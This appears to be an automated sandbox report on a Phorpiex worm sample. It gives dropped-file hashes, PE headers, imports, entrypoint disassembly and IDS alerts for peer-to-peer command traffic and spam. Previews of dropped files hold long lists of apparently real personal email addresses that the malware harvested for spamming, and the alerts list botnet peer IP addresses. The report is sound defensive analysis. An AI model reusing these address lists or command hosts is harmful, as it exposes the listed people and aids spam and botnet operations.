SHA1:	040620394ED6D12C3E99D8D7591B05C4857D3838
SHA-256:	7FFA842BCDC9AE5580846BB8073B7177DFE024604A9A57EE675B73D73CE29F28
SHA-512:	7F4790071D088DB8EEC0DE34726A1E6E9B71CD7750210575F2878815F4A227EB93D7F3B974E2EB1045E2330183C689C8F6931035CDACE5CE794768C31B01293B
Malicious:	false
Reputation:	low
Preview:	188.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AA1WTLEO\2[1]

Download File

Process:	C:\Windows\ sysesvcmw.exe
File Type:	data
Category:	dropped
Size (bytes):	19200
Entropy (8bit):	7.990562955417089
Encrypted:	true
SSDEEP:	384:/G0lNT747gLR/LUJUCe8/h5GtbmbPZWsZz041/9mXsPZeM0SRx9i:e0TX4G/LUJ7euh5RPUby9mej0gK
MD5:	3B0CAFC6D79FDB122A23A9382FF99CA5
SHA1:	02351DCF99B41B20D4AE6F7AA820E5F1FCDBD5B7
SHA-256:	79539B3E1F5C52CB1F4E64DD006F0F01924A95A0EBAF9F9BD6764939F9541614
SHA-512:	1EEA09FBC61B75E99040E44FE58130D45A9DD5EC72F661608C3031BD06213964464F33D5027FF3CA7F45022AC0C6C004C34E74849F2BA83AEC932FC21D40DBF3
Malicious:	false
Reputation:	low
Preview:	y..........d.'.......2a/.....k.of.....J.R.2#..[....2.J:.M....]..^....a...........3p.7....a.s..4w..h...l.....D...'.B[.5..+.....F'h..).k.V.......R"....@........%.G5.C....^/..x..;..8..X.(..QpHT.).Sgiy.tu.b.\|.gQ.q^.K\|D..t..rm....DC0..\|y.......Eh.I....^...R7.8.h.YO.l....Rw.8;.e...!.29.n..+"K..j..b9.F.."C.X}.......id.:.mf.(.z...B........%..k.2...S.;L.9$.H......M..#....;.,...A..c.eR...r.P.P../.c..TY&..Ay...e..;..l..w....5b.n@.\|k.6[..i......R].=J../...:.k..Sj.........../&wW.D.2.....@....W.H.....].:)...i.t)./..h..o....\2.u..H0...\|Yi@5x...+.'.....0.....J.V...{.~..\#.....H.^...R..d..i.Y.x..k!(H.J...Z5k.NbA....?.g.dRP[.t6>....,...k5...6$}T.9.V..5...../W.f.H^...f&....x.<...^f."..r.#.66q..R.5.C3S.Hf;p...Oi.F.V.z.w..=........S..qS....D...I.rx.n.Z..R...R4....C-.,jW4-n-.=w.z..VrpK.W.........V.q}....j...x.7]J...Rq..W4Ob.......+..._M.8 X..E.8.M&<[s..Z.........S......y:tC...\Q..dM..:........I.TS..Ds`j^..E...'..'..7.@.g.7...H..%$..j......yI.v.f..p.....d...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D90T3WBP\133[1].txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\22195367.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	275026
Entropy (8bit):	4.534615315924915
Encrypted:	false
SSDEEP:	6144:NMGRb5XhsDXZY25Tn7TXqGrP3/yNzsJdN:NrR1hsbjTn7eGj3/yYdN
MD5:	A55A41B3FC4B742B7DB61A2FD327C589
SHA1:	86DF42F2821AA72DB7E2E904CF24004C8A1C6E18
SHA-256:	BD798DE51D1E5ED6AC914FA5BF8087F16A737DE49069227227A791B014205706
SHA-512:	E9C07529BD8168381D075D890A7935CB5D747598D7B10A2F41CD291B90072465F0D62473646748D14C2CC4C6F10C542664817055E177F78E0BD00676995472FE
Malicious:	false
Preview:	.matt@wdog.ca.diane.dacosta@hotmail.com.bensonlamcma@bellnet.ca.henrix1929@hotmail.com.blue_lin10@msn.com.rborjian@innovativeautomation.com.maxeva@eim.ae.starratt6@shaw.ca.sbulowski@gmail.com.sbulowski@shoppersdrugmart.ca.speedsterrk31@aol.com.kurt.wilson@breather.com.kurt@breather.com.waterfordrinking@gmail.com.ian.dalbec@brampton.ca.pauljgreen@hotmail.com.stephane.boudreau@baiebleue.com.heillie@cusac.com.sean.sciberras@senecacollege.ca.sthjohn@hotmail.com.jean.st-hilaire@arcelormittal.com.mborax@yahoo.com.fgoodwill@msn.com.machado.romeu@gmail.com.machadoromeu@gmail.com.amrit.khangura@gmail.com.amrit_10@hotmail.com.tatianakonkinateam@gmail.com.pauline.patterson@dfo-mpo.gc.ca.mark.durham@entero.com.durham.m@shaw.ca.f_designer2001@yahoo.com.fmlandry@videotron.ca.heidijschaefer@gmail.com.infinity101968@gmail.com.patricia@elia.org.cgganeshy@yahoo.com.tobyleerussell@gmail.com.phazer.rider@rocketmail.com.georgina.kempster@canadapost.ca.maxine.crozier@cbsa-asfc.gc.ca.mbertone@sarh.org.mberto

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D90T3WBP\556I0ZL4.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\22195367.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.0062389286533895
Encrypted:	false
SSDEEP:	3:MXgMgR6:MwMgR6
MD5:	D8E612EC8477B42197DFA7CA406AEAEC
SHA1:	E1CB76872A7BD672CABD460E2E7C7569ECC5B31D
SHA-256:	34FAA20BA8372B5371E197498D7F51C1B8D8AD41521DA21E3D833BB9E659BEA5
SHA-512:	EC37DF8B6E158082545E986B6186F4B9713D4389968DB158DC68998324CAD2A53EF649F51492B210972AA28BE4EECE07B05C205DB9FE7C2A32187D01B7B06DB3
Malicious:	false
Preview:	102.129.143.97.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D90T3WBP\n[1].txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\22195367.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:f:f
MD5:	61D2E457C709499D9E9BD8A8BECA6562
SHA1:	A5BEECBCD1AE69C4E35E57D7BCC856C48EF617D2
SHA-256:	B5C1FE3F2FA0EF8280A53620DCB31175D5998A57012E424DEDA5A79E689ED91A
SHA-512:	153A6A2FB2BAC6D32605619E80A92E6BF3F4DB3A12CDBDA9F45F6BD9AC44879C726F30466EB43F94C68CB5B9ED0EE8804C7C72757BFD1A0629B91240814DE372
Malicious:	false
Preview:	455.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QW8EMIZ2\1[1]

Download File

Process:	C:\Windows\ sysesvcmw.exe
File Type:	data
Category:	dropped
Size (bytes):	19200
Entropy (8bit):	7.9908725353197765
Encrypted:	true
SSDEEP:	384:/kUfEjX3QIiz322KFlXu7C9NkKiyG6QNDl5x2pveH:lfEjn7i72HXu7C81JlFl5F
MD5:	4BA5DC5DE2B01CA452800A6112507F13
SHA1:	2F471D1B53701902BD5819331176367CF48F2CED
SHA-256:	84FC5AF9FB1AECD1A4D8D86C3BC3A098022507250D2EEABA0DD8B0726FEFC045
SHA-512:	9B01197A0502CE97D39B81456D71D53C5088A2C89AF79F7B484F5F311A5A9DFCF46F0E31765CA83292204EF4634C1AF29FB0BDBA2CCE52CB293483F418F4197A
Malicious:	false
Preview:	..@.g".e.w.!....9.........k.;.v..+..f..B......J....V....wo.....R...o1...6.Rd.l...y..E.......k!@d........e^....X..qg.kj8....6.s).(..S......-.w2.k.`.hpp.A^...e..e...Gqu.D......K.k....=....i.no..l.6.6....Zs..z/.4.p..NS......I.Y...\.@.c7k=1_Z/.E.kZ..S.....b...p...0E<~..j..S"..7........%U...X2...gWJ=.g.O.7.Z5....P.X.c...4j....q...R..w.tu.^.$-Ao1.....].L8....W.\+.}.+.A...Tq.t...a....T...o..m%B.F.....E..7...b<@8f]7{~-Ag.....O..lW.6..S7!,=..QQ+.....^.ph.V.~..&.Xm..AP.s....#............Mn@.7..q#.L...9U...2..A....9Ap%..u.....?PkkJN5.2.g.!86si.R.z}.......Dr...........a.w.,Qr...v.C..I{'x*P.......Y.3.5_S...A......y.2......^.@Ml......I?%k..8...>&..l.+...A.6\|..{..K}.I...}z.F.....+.p...P..AU.2....E!b...F\|..f.Ad....]..0.$.5..0.n....C.W..c..9..a.NH.........D...NNk.f..4...q.T_t......PA.f.. .y..-9U.l.{. /Vz.;:..`w.~..7..f.I&.mj.p.....n:...Y..I..^.w....i...'iRkx.?._.0].v.+.<x......-.~..(...x,w.R..A.k....Q.pXdd_.z........4.g{G[mB!..0.J"Xd-..q/X.^.

C:\Users\user\AppData\Local\Temp\21083193641899.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\2569813542.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	234698
Entropy (8bit):	4.649063222960685
Encrypted:	false
SSDEEP:	3072:XiAqptgoQTFvUE95qQ4bVuK6H0q1L5kideOvkRsDlY+TuKfmplL2o7zLAqb41nrv:+7gp+OLSCTY748fLDzAZNvQTe
MD5:	22862963F56E095E18EABAD966972682
SHA1:	8F4D338587F399DD253F9EA90579EEDC88FE2CE2
SHA-256:	9E9FB48CFF65588A945924C2D96AC124EDEBB524E4663CA14644DCC0FB91F98F
SHA-512:	870B08BD9C595D5F76A9F50F80DF612522FA8B763EF2D77DCD60D4897867E9E7EB7AD453553F94E1ED1CB90EDDAA8FCEA45E91E347FA643E96743C9E6AE2D6EB
Malicious:	false
Preview:	om.hardenkei@ymail.com.clinebl@msn.com.herrint@icloud.com.willhfield@me.com.floriagattison@att.net.cameron_81@msn.com.etc3ncc@msn.com.jodik@bellsouth.net.cjs1184@naver.com.integritychoice@msn.com.rwdoering@shaw.ca.jpb4wood@frontiernet.net.quolot@sbcglobal.net.shage488@live.com.ekdaly@twc.com.capta57@embarqmail.com.bswan@telusplanet.net.heartsandstarfish@virginmedia.com.donnarichards@custommold.com.emcginley@att.net.jcswabbit@bellsouth.net.rinehart8@icloud.com.lori.petterson@icloud.com.c3ni2@sbcglobal.net.hmbabb23@icloud.com.stephanitanneau@me.com.btrembla@unb.ca.jay@digitalbayllc.com.truffle@mindspring.com.robert.jarrett@me.com.alexamollica@me.com.isainovasnj@msn.com.crashholly@live.com.swiechie@icloud.com.mspencer@bellsouth.net.nthebank@icloud.com.carriehammers@sbcglobal.net.debra.muenchow@icloud.com.grant.bester@mac.com.4mongeons@charter.net.tww92@icloud.com.anndettling@msn.com.blakewalter@ymail.com.davidpottinger@charter.net.sarah_wagner@msn.com.mhaim@y7mail.com.emmagrace10@icloud.c

C:\Users\user\AppData\Local\Temp\22195367.exe

Download File

Process:	C:\Windows\ sysesvcmw.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	6.067208238851971
Encrypted:	false
SSDEEP:	192:AWyVkfzngjoWL10inas6h/LTEAluW0iMC/KUSO5dzw8AHGIIUUuiCvJxTmv8U9cy:AAbmKiJ0LTEAUq5dTA7pav8U9c+
MD5:	868A819B090F5AA12BFC1EA3BC8EF318
SHA1:	B64E20478790BA5F39601EB294C6846185E65252
SHA-256:	3D43E5B6EC315D5CDE87CF1B97FF37632832B03C0517ABEAAC89BE1D05DE3964
SHA-512:	1312991A570B5D0D7C74C26D5360998935A947338E0F7FF05CE0ACDD7C0F4BE26BAF6F82EE80484C59F5126B87EC9161B78D930C608113C0E0F0C4B000B23465
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q'..5Fv^5Fv^5Fv^...^9Fv^<>.^6Fv^5Fw^UFv^<>.^7Fv^<>.^ Fv^<>.^0Fv^<>.^4Fv^Rich5Fv^................PE..L...i>.d................."...$.......+.......@....@................................./d....@..................................N......................................................................@M..@............@...............................text.... .......".................. ..`.rdata.......@.......&..............@..@.data........`.......<..............@....rsrc................B..............@..@.reloc...............F..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2569813542.exe

Download File

Process:	C:\Windows\ sysesvcmw.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18944
Entropy (8bit):	6.068651844718421
Encrypted:	false
SSDEEP:	192:AWyVkfzngjoWL10inas6h/LTEAluW0iMC/KUSO5dzw8AHGIIUUuiCvJxTmv8U9cR:AAbmKiJ0LTEAUq5dTA7pav8U9c+
MD5:	79F68AF319FD84B95E589A5140954B7F
SHA1:	01B0C1BB824A3BC133CE0AD0ACF61C503ED0800F
SHA-256:	F64F05C48379E1690358D84098E32056802B4929CB968FE10960CC38BD2E20F8
SHA-512:	7FC9711B501A1EE90962A20C78FE25EEF9325A0158884AEF943F3CFFBC84F686DBAD475E949BD4611C16E91BADAA7C5EA429C237BD8806939D4374C3D4D66567
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q'..5Fv^5Fv^5Fv^...^9Fv^<>.^6Fv^5Fw^UFv^<>.^7Fv^<>.^ Fv^<>.^0Fv^<>.^4Fv^Rich5Fv^................PE..L...x\.d................."...$.......+.......@....@.................................3b....@..................................N......................................................................@M..@............@...............................text.... .......".................. ..`.rdata.......@.......&..............@..@.data........`.......<..............@....rsrc................B..............@..@.reloc...............F..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\30681637933354.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\22195367.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	275026
Entropy (8bit):	4.534615315924915
Encrypted:	false
SSDEEP:	6144:NMGRb5XhsDXZY25Tn7TXqGrP3/yNzsJdN:NrR1hsbjTn7eGj3/yYdN
MD5:	A55A41B3FC4B742B7DB61A2FD327C589
SHA1:	86DF42F2821AA72DB7E2E904CF24004C8A1C6E18
SHA-256:	BD798DE51D1E5ED6AC914FA5BF8087F16A737DE49069227227A791B014205706
SHA-512:	E9C07529BD8168381D075D890A7935CB5D747598D7B10A2F41CD291B90072465F0D62473646748D14C2CC4C6F10C542664817055E177F78E0BD00676995472FE
Malicious:	false
Preview:	.matt@wdog.ca.diane.dacosta@hotmail.com.bensonlamcma@bellnet.ca.henrix1929@hotmail.com.blue_lin10@msn.com.rborjian@innovativeautomation.com.maxeva@eim.ae.starratt6@shaw.ca.sbulowski@gmail.com.sbulowski@shoppersdrugmart.ca.speedsterrk31@aol.com.kurt.wilson@breather.com.kurt@breather.com.waterfordrinking@gmail.com.ian.dalbec@brampton.ca.pauljgreen@hotmail.com.stephane.boudreau@baiebleue.com.heillie@cusac.com.sean.sciberras@senecacollege.ca.sthjohn@hotmail.com.jean.st-hilaire@arcelormittal.com.mborax@yahoo.com.fgoodwill@msn.com.machado.romeu@gmail.com.machadoromeu@gmail.com.amrit.khangura@gmail.com.amrit_10@hotmail.com.tatianakonkinateam@gmail.com.pauline.patterson@dfo-mpo.gc.ca.mark.durham@entero.com.durham.m@shaw.ca.f_designer2001@yahoo.com.fmlandry@videotron.ca.heidijschaefer@gmail.com.infinity101968@gmail.com.patricia@elia.org.cgganeshy@yahoo.com.tobyleerussell@gmail.com.phazer.rider@rocketmail.com.georgina.kempster@canadapost.ca.maxine.crozier@cbsa-asfc.gc.ca.mbertone@sarh.org.mberto

C:\Users\user\tbnds.dat

Download File

Process:	C:\Windows\ sysesvcmw.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.768575460963084
Encrypted:	false
SSDEEP:	96:igFjMetulYpLWtrTCn9B67asS6D/tNqo8MPsExp0PEc/SQlBWCqnW8:igFjHtxWtrTs4VS6bt1FkExpUEc/hWvV
MD5:	E1761A2F28B698A8D28F5A9243CDB61D
SHA1:	97306A74146838EE3F1624560F83B567846425BC
SHA-256:	13E566EBB4124F019E307995D4613EAF8000BDD0491F8A3D2785CBE5B27ABA6C
SHA-512:	491F390C6A0C6410EC5E5CBA9BF0288C6DAA247C9560A369869AF3D0150AE082BAF991F6B0B15084953F15D8ACE57B676BCF6708B2070657EB7A29424B0668B3
Malicious:	false
Preview:	M_.......y-.....^.F:.............m.............p.".....].&.......T......ks....U.K.....Q.rM......................W.............(.......q.....PP......T5.j............z.C......HZ....[b.......D......f.5............m}.q...........^.L....._ks......ppT....Y-)....Y........Z{....%........O.......(.....<.2............S..\..............o..............Fq.......[......:..............o.....[.........4.....Y.r......z.............pi.............^.1.....\r1.....Rr......^.L.....%..p....>.$.....[.........E......psM....................]{...............O]...._.:.....#j.......{..............w.......y.......cw......}......J@{.......U.......x....[.:...............L....Y.>.....f........g......":....................%......Y.>.......c......d:\.......X....N&-N....^.Ey....x......m>.........4.......%....%..V.....pa}....f.c......G.n......6F....^.LU....^.......N'.......pk........v.....pqL.....py;......m.....)a.9......Vq....R...............mJ.......p{j......`}....%.........\|.......t......J......

C:\Windows\ sysesvcmw.exe

Download File

Process:	C:\Users\user\Desktop\newtpp.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	6.402141253215905
Encrypted:	false
SSDEEP:	1536:T3Mz8M4xQ21dFtb4Jn6wfpSzSLGcmRfFN8R+eeeeeeeeWeeeee:4wMH2zbb4x6wxTLGcmRfFN8R
MD5:	90CBEADCDA0AD6D4302C36AA9FD2A53C
SHA1:	72326251A563E16EEEC31D7E1F7BED9D99563246
SHA-256:	D2B6791FB169C2C87D9FBC2846525DBBBECEF3BF112259214B1B4DA907D580EF
SHA-512:	4B24D4970896A19178B290FF35ECFD6E5DB08B74426992CDB02A0F19D792F92C6230507A376262F77375330E5D8ADEA139C072A29774E915BEDB82840E1BEE76
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\ sysesvcmw.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Joe Sandbox View:	Filename: gEkl9O5tiu.exe, Detection: malicious, Browse Filename: mKVBAPvSpM.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]b1..._..._..._.aq^..._......._......._...P..._.>.2..._...^..._.>.$..._..{.>._..{..._.Rich.._.........PE..L......d.....................j.......^............@.........................................................................d!.......................................................................................................................text...\........................... ..`.rdata...0.......2..................@..@.data....6...@...$..................@...................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.402141253215905
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	newtpp.exe
File size:	80'896 bytes
MD5:	90cbeadcda0ad6d4302c36aa9fd2a53c
SHA1:	72326251a563e16eeec31d7e1f7bed9d99563246
SHA256:	d2b6791fb169c2c87d9fbc2846525dbbbecef3bf112259214b1b4da907d580ef
SHA512:	4b24d4970896a19178b290ff35ecfd6e5db08b74426992cdb02a0f19d792f92c6230507a376262f77375330e5d8adea139c072a29774e915bedb82840e1bee76
SSDEEP:	1536:T3Mz8M4xQ21dFtb4Jn6wfpSzSLGcmRfFN8R+eeeeeeeeWeeeee:4wMH2zbb4x6wxTLGcmRfFN8R
TLSH:	F9831840F280803BE0F286FFEAFEA2991A1C9FB45345D4D3F2B1649F56646C6B636453
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]b1..._..._..._.aq^..._......._......._...P..._.>.2..._...^..._.>.$..._..{..>._..{...._.Rich.._.........PE..L......d...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x405e10
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x64DCDAA8 [Wed Aug 16 14:18:16 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2ffdf0a1519d1adada787fd4df5a5fec

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 00000C14h
push 00000BB8h
call dword ptr [004100ECh]
mov dword ptr [ebp-00000214h], 00000000h
mov dword ptr [ebp-0000083Ch], 0000235Ah
mov eax, dword ptr [ebp-00000214h]
cmp eax, dword ptr [ebp-0000083Ch]
jnc 00007F6AE47A22B4h
push 0041114Ch
call dword ptr [00410168h]
test eax, eax
je 00007F6AE47A2294h
push 00000000h
push 00411168h
push 00411180h
call dword ptr [00410144h]
push 00411198h
push 004111A4h
call dword ptr [00410094h]
push 004111B0h
push 004111C4h
call dword ptr [00410098h]
mov ecx, dword ptr [ebp-00000214h]
add ecx, 01h
mov dword ptr [ebp-00000214h], ecx
jmp 00007F6AE47A2202h
push 00414BE4h
push 00000000h
push 00000000h
call dword ptr [00410090h]
mov dword ptr [ebp-00000A4Ch], eax
call dword ptr [00410028h]
cmp eax, 000000B7h
jne 00007F6AE47A226Ah
push 00000000h
call dword ptr [004100A0h]
mov dword ptr [ebp-00000424h], 00000000h
mov dword ptr [ebp-0000020Ch], 00000001h
push 00000005h

Rich Headers

Programming Language:

[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x12164	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10000	0x304	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xe15c	0xe200	False	0.47122165376106195	data	6.1309971856591865	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x10000	0x30ac	0x3200	False	0.457109375	data	5.545608172231691	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x14000	0x3688	0x2400	False	0.3376736111111111	OpenPGP Public Key	5.303023534639618	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
WS2_32.dll	recvfrom, setsockopt, sendto, send, recv, WSAStartup, ioctlsocket, bind, WSACloseEvent, WSARecv, WSASend, WSAGetLastError, WSAEnumNetworkEvents, gethostname, connect, inet_ntoa, inet_addr, htons, getsockname, shutdown, socket, closesocket, gethostbyname, WSAEventSelect, WSAGetOverlappedResult, WSAWaitForMultipleEvents, getpeername, accept, WSACreateEvent, WSASocketA, listen
SHLWAPI.dll	PathFileExistsW, StrCmpNW, PathMatchSpecW, PathFindFileNameW, StrChrA, StrStrIA, StrCmpNIA, StrStrW
urlmon.dll	URLDownloadToFileW
WININET.dll	HttpOpenRequestA, InternetOpenUrlW, InternetOpenUrlA, HttpQueryInfoA, InternetOpenW, InternetCloseHandle, InternetOpenA, HttpSendRequestA, InternetConnectA, InternetCrackUrlA, InternetReadFile, HttpAddRequestHeadersA
ntdll.dll	memcpy, _chkstk, _aulldiv, RtlUnwind, memmove, mbstowcs, RtlTimeToSecondsSince1980, NtQuerySystemTime, NtQueryVirtualMemory, strstr, isdigit, isalpha, _allshl, _aullshr, memset
msvcrt.dll	rand, srand, _vscprintf
KERNEL32.dll	GetLastError, CreateProcessW, GetLocaleInfoA, DuplicateHandle, DeleteCriticalSection, GetThreadPriority, SetThreadPriority, GetCurrentThread, GetCurrentProcess, InterlockedExchangeAdd, InterlockedIncrement, InterlockedExchange, WaitForSingleObject, InterlockedDecrement, GetCurrentProcessId, HeapSetInformation, GetSystemInfo, PostQueuedCompletionStatus, GetProcessHeaps, HeapValidate, HeapCreate, HeapFree, HeapAlloc, HeapReAlloc, ExpandEnvironmentStringsW, CreateThread, CreateMutexA, MoveFileA, MoveFileW, CreateEventA, ExitProcess, GetQueuedCompletionStatus, CreateIoCompletionPort, SetEvent, GetVolumeInformationW, SetFileAttributesW, lstrcpyW, DeleteFileW, GetDiskFreeSpaceExW, FindNextFileW, lstrcmpiW, QueryDosDeviceW, RemoveDirectoryW, FindClose, lstrlenA, GlobalLock, GetModuleHandleW, GetTickCount, GlobalAlloc, Sleep, lstrcpynW, ExitThread, MultiByteToWideChar, lstrlenW, GlobalUnlock, GetFileSize, MapViewOfFile, UnmapViewOfFile, WriteFile, InitializeCriticalSection, LeaveCriticalSection, CreateFileW, FlushFileBuffers, EnterCriticalSection, CreateFileMappingW, CloseHandle, FindFirstFileW, GetDriveTypeW, MoveFileExW, CreateDirectoryW, GetLogicalDrives, CopyFileW, GetModuleFileNameW, lstrcmpW
USER32.dll	TranslateMessage, RegisterClassExW, wsprintfW, GetClipboardData, EmptyClipboard, ChangeClipboardChain, SetWindowLongW, DefWindowProcA, RegisterRawInputDevices, CreateWindowExW, SendMessageA, IsClipboardFormatAvailable, CloseClipboard, GetMessageA, wsprintfA, wvsprintfA, GetWindowLongW, DispatchMessageA, OpenClipboard, SetClipboardData, SetClipboardViewer
ADVAPI32.dll	RegSetValueExW, CryptGenRandom, CryptReleaseContext, CryptAcquireContextW, RegQueryValueExW, RegOpenKeyExA, RegSetValueExA, RegCloseKey, RegOpenKeyExW
SHELL32.dll	ShellExecuteW
ole32.dll	CoInitializeEx, CoCreateInstance, CoInitialize, CoUninitialize
OLEAUT32.dll	SysFreeString, SysAllocString

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.82.178.18.9062415405002044077 08/24/23-19:04:14.556475	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	2.178.18.90
192.168.2.8178.130.116.21262415405002044077 08/24/23-19:04:50.119199	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	178.130.116.212
192.168.2.864.29.145.4850818252044126 08/24/23-19:04:21.415313	TCP	2044126	ET TROJAN Win32/Phorpiex Template 8 Active - Outbound Malicious Email Spam	50818	25	192.168.2.8	64.29.145.48
192.168.2.837.255.208.5462415405002044077 08/24/23-19:03:29.374457	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	37.255.208.54
192.168.2.8105.102.5.22362415405002044077 08/24/23-19:03:59.503476	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	105.102.5.223
192.168.2.882.137.244.12462415405002044077 08/24/23-19:04:19.586296	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	82.137.244.124
192.168.2.864.29.145.4850818252045229 08/24/23-19:04:21.415313	TCP	2045229	ET TROJAN Win32/Phorpiex Template 9 Active - Outbound Malicious Email Spam	50818	25	192.168.2.8	64.29.145.48
192.168.2.8212.112.121.5962415405002044077 08/24/23-19:04:24.801049	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	212.112.121.59
192.168.2.8151.235.247.19162415405002044077 08/24/23-19:03:54.485158	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	151.235.247.191
192.168.2.878.39.233.23962415405002044077 08/24/23-19:03:08.792563	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	78.39.233.239
192.168.2.82.184.54.7062415405002044077 08/24/23-19:03:13.795556	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	2.184.54.70
192.168.2.889.249.62.23362415405002044077 08/24/23-19:03:24.375358	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	89.249.62.233
192.168.2.8217.24.145.21162415405002044077 08/24/23-19:04:39.814823	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	217.24.145.211
192.168.2.8142.250.150.2749805252045229 08/24/23-19:03:21.879724	TCP	2045229	ET TROJAN Win32/Phorpiex Template 9 Active - Outbound Malicious Email Spam	49805	25	192.168.2.8	142.250.150.27
192.168.2.889.249.62.762415405002044077 08/24/23-19:03:44.483576	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	62415	40500	192.168.2.8	89.249.62.7
